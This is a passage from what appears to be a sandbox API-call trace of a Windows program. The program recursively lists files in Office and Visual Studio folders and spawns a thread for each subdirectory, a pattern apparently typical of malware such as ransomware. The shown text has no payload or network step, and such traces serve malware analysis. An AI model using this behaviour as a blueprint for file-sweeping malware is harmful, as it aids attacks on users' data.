ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xdf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1 [0097.295] wcscmp (_String1="BCSLaunch.dll", _String2=".") returned 1 [0097.295] wcscmp (_String1="BCSLaunch.dll", _String2="..") returned 1 [0097.295] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8cd1e00, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd2e133c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8cd1e00, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x14768, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0097.295] wcscmp (_String1="DGRMLNCH.DLL", _String2=".") returned 1 [0097.295] wcscmp (_String1="DGRMLNCH.DLL", _String2="..") returned 1 [0097.295] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7c7400, ftCreationTime.dwHighDateTime=0x1cbc9fa, ftLastAccessTime.dwLowDateTime=0xadbb9ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb7c7400, ftLastWriteTime.dwHighDateTime=0x1cbc9fa, nFileSizeHigh=0x0, nFileSizeLow=0x406590, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0097.295] wcscmp (_String1="GROOVEEX.DLL", _String2=".") returned 1 [0097.295] wcscmp (_String1="GROOVEEX.DLL", _String2="..") returned 1 [0097.295] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a783200, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xae0eeec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5a783200, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x2ff60, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0097.295] wcscmp (_String1="IEAWSDC.DLL", _String2=".") returned 1 [0097.295] wcscmp (_String1="IEAWSDC.DLL", _String2="..") returned 1 [0097.295] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930ea300, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadda9080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x930ea300, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x62978, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0097.295] wcscmp (_String1="INLAUNCH.DLL", _String2=".") returned 1 [0097.295] wcscmp (_String1="INLAUNCH.DLL", _String2="..") returned 1 [0097.295] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4e2500, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x21ccb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf4e2500, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x13180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0097.295] wcscmp (_String1="MSOHEV.DLL", _String2=".") returned 1 [0097.296] wcscmp (_String1="MSOHEV.DLL", _String2="..") returned 1 [0097.296] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994dc00, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x21cf1870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2994dc00, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x11580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0097.297] wcscmp (_String1="MSOHTMED.EXE", _String2=".") returned 1 [0097.297] wcscmp (_String1="MSOHTMED.EXE", _String2="..") returned 1 [0097.297] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae1d400, ftCreationTime.dwHighDateTime=0x1cb7015, ftLastAccessTime.dwLowDateTime=0xadc06160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ae1d400, ftLastWriteTime.dwHighDateTime=0x1cb7015, nFileSizeHigh=0x0, nFileSizeLow=0x14d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0097.297] wcscmp (_String1="NAME.DLL", _String2=".") returned 1 [0097.297] wcscmp (_String1="NAME.DLL", _String2="..") returned 1 [0097.297] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2deba300, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2deba300, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0097.297] wcscmp (_String1="NAMECONTROLPROXY.DLL", _String2=".") returned 1 [0097.297] wcscmp (_String1="NAMECONTROLPROXY.DLL", _String2="..") returned 1 [0097.297] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703f00, ftCreationTime.dwHighDateTime=0x1ca9139, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x703f00, ftLastWriteTime.dwHighDateTime=0x1ca9139, nFileSizeHigh=0x0, nFileSizeLow=0x21180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0097.297] wcscmp (_String1="NAMEEXT.DLL", _String2=".") returned 1 [0097.297] wcscmp (_String1="NAMEEXT.DLL", _String2="..") returned 1 [0097.297] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf08900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcbf08900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0097.297] wcscmp (_String1="NPAUTHZ.DLL", _String2=".") returned 1 [0097.297] wcscmp (_String1="NPAUTHZ.DLL", _String2="..") returned 1 [0097.297] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x59e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPSPWRAP.DLL", cAlternateFileName="")) returned 1 [0097.297] wcscmp (_String1="NPSPWRAP.DLL", _String2=".") returned 1 [0097.297] wcscmp (_String1="NPSPWRAP.DLL", _String2="..") returned 1 [0097.297] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x597a6090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0097.297] wcscmp (_String1="oisctrl.dll", _String2=".") returned 1 [0097.297] wcscmp (_String1="oisctrl.dll", _String2="..") returned 1 [0097.297] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e19db00, ftCreationTime.dwHighDateTime=0x1cb701d, ftLastAccessTime.dwLowDateTime=0xade41600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e19db00, ftLastWriteTime.dwHighDateTime=0x1cb701d, nFileSizeHigh=0x0, nFileSizeLow=0x3e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0097.298] wcscmp (_String1="OLKFSTUB.DLL", _String2=".") returned 1 [0097.298] wcscmp (_String1="OLKFSTUB.DLL", _String2="..") returned 1 [0097.298] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xad14fe60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x9d590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0097.298] wcscmp (_String1="ONBttnIE.dll", _String2=".") returned 1 [0097.298] wcscmp (_String1="ONBttnIE.dll", _String2="..") returned 1 [0097.298] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xadeffce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x79590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0097.298] wcscmp (_String1="ONBttnIELinkedNotes.dll", _String2=".") returned 1 [0097.298] wcscmp (_String1="ONBttnIELinkedNotes.dll", _String2="..") returned 1 [0097.298] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9322e700, ftCreationTime.dwHighDateTime=0x1cbae3c, ftLastAccessTime.dwLowDateTime=0xae1d3700, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9322e700, ftLastWriteTime.dwHighDateTime=0x1cbae3c, nFileSizeHigh=0x0, nFileSizeLow=0xe0db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteSyncPC.dll", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0097.298] wcscmp (_String1="OneNoteSyncPC.dll", _String2=".") returned 1 [0097.298] wcscmp (_String1="OneNoteSyncPC.dll", _String2="..") returned 1 [0097.298] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b4fa00, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadf25e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa9b4fa00, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0xf9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0097.298] wcscmp (_String1="ONLNTCOMLIB.DLL", _String2=".") returned 1 [0097.298] wcscmp (_String1="ONLNTCOMLIB.DLL", _String2="..") returned 1 [0097.298] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x20d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSSUPP.DLL", cAlternateFileName="")) returned 1 [0097.298] wcscmp (_String1="OWSSUPP.DLL", _String2=".") returned 1 [0097.298] wcscmp (_String1="OWSSUPP.DLL", _String2="..") returned 1 [0097.298] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba4fb00, ftCreationTime.dwHighDateTime=0x1cab7d7, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ba4fb00, ftLastWriteTime.dwHighDateTime=0x1cab7d7, nFileSizeHigh=0x0, nFileSizeLow=0x5ef90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0097.298] wcscmp (_String1="PPSLAX.DLL", _String2=".") returned 1 [0097.299] wcscmp (_String1="PPSLAX.DLL", _String2="..") returned 1 [0097.299] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x16f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSCOPY.DLL", cAlternateFileName="")) returned 1 [0097.299] wcscmp (_String1="STSCOPY.DLL", _String2=".") returned 1 [0097.299] wcscmp (_String1="STSCOPY.DLL", _String2="..") returned 1 [0097.299] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.DLL", cAlternateFileName="")) returned 1 [0097.299] wcscmp (_String1="STSUPLD.DLL", _String2=".") returned 1 [0097.299] wcscmp (_String1="STSUPLD.DLL", _String2="..") returned 1 [0097.299] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd688b020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x22568, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVB.DLL", cAlternateFileName="")) returned 1 [0097.299] wcscmp (_String1="UMLVB.DLL", _String2=".") returned 1 [0097.299] wcscmp (_String1="UMLVB.DLL", _String2="..") returned 1 [0097.299] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x22768, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVC60.DLL", cAlternateFileName="")) returned 1 [0097.299] wcscmp (_String1="UMLVC60.DLL", _String2=".") returned 1 [0097.299] wcscmp (_String1="UMLVC60.DLL", _String2="..") returned 1 [0097.299] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x3c378, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVS.DLL", cAlternateFileName="")) returned 1 [0097.299] wcscmp (_String1="UMLVS.DLL", _String2=".") returned 1 [0097.299] wcscmp (_String1="UMLVS.DLL", _String2="..") returned 1 [0097.299] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52af2500, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xad423880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52af2500, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x89190, dwReserved0=0x0, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0097.299] wcscmp (_String1="URLREDIR.DLL", _String2=".") returned 1 [0097.300] wcscmp (_String1="URLREDIR.DLL", _String2="..") returned 1 [0097.300] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x582978, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0097.300] wcscmp (_String1="VVIEWDWG.DLL", _String2=".") returned 1 [0097.300] wcscmp (_String1="VVIEWDWG.DLL", _String2="..") returned 1 [0097.300] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0097.300] wcscmp (_String1="VVIEWER.DLL", _String2=".") returned 1 [0097.300] wcscmp (_String1="VVIEWER.DLL", _String2="..") returned 1 [0097.300] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 0 [0097.300] FindClose (in: hFindFile=0xed090 | out: hFindFile=0xed090) returned 1 [0097.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60ce0) returned 1 [0097.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e250) returned 1 [0097.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b10) returned 1 Thread: id = 166 os_tid = 0x48c [0086.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e490 [0086.345] wcscpy (in: _Dest=0x1b85e490, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0086.345] wcscat (in: _Dest=0x1b85e490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\" [0086.345] wcscat (in: _Dest=0x1b85e490, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*" [0086.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60f50 [0086.345] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd860d0 [0086.347] wcscmp (_String1=".", _String2=".") returned 0 [0086.347] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.347] wcscmp (_String1="..", _String2=".") returned 1 [0086.347] wcscmp (_String1="..", _String2="..") returned 0 [0086.347] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDE", cAlternateFileName="")) returned 1 [0086.347] wcscmp (_String1="IDE", _String2=".") returned 1 [0086.347] wcscmp (_String1="IDE", _String2="..") returned 1 [0086.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c7b0 [0086.347] wcscpy (in: _Dest=0x1b85c7b0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0086.347] wcscat (in: _Dest=0x1b85c7b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\" [0086.347] wcscat (in: _Dest=0x1b85c7b0, _Source="IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0097.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0097.303] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0097.303] wcscmp (_String1="Packages", _String2=".") returned 1 [0097.303] wcscmp (_String1="Packages", _String2="..") returned 1 [0097.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85b7f0 [0097.303] wcscpy (in: _Dest=0x1b85b7f0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0097.303] wcscat (in: _Dest=0x1b85b7f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\" [0097.303] wcscat (in: _Dest=0x1b85b7f0, _Source="Packages" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" [0097.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85b7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44 [0097.304] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 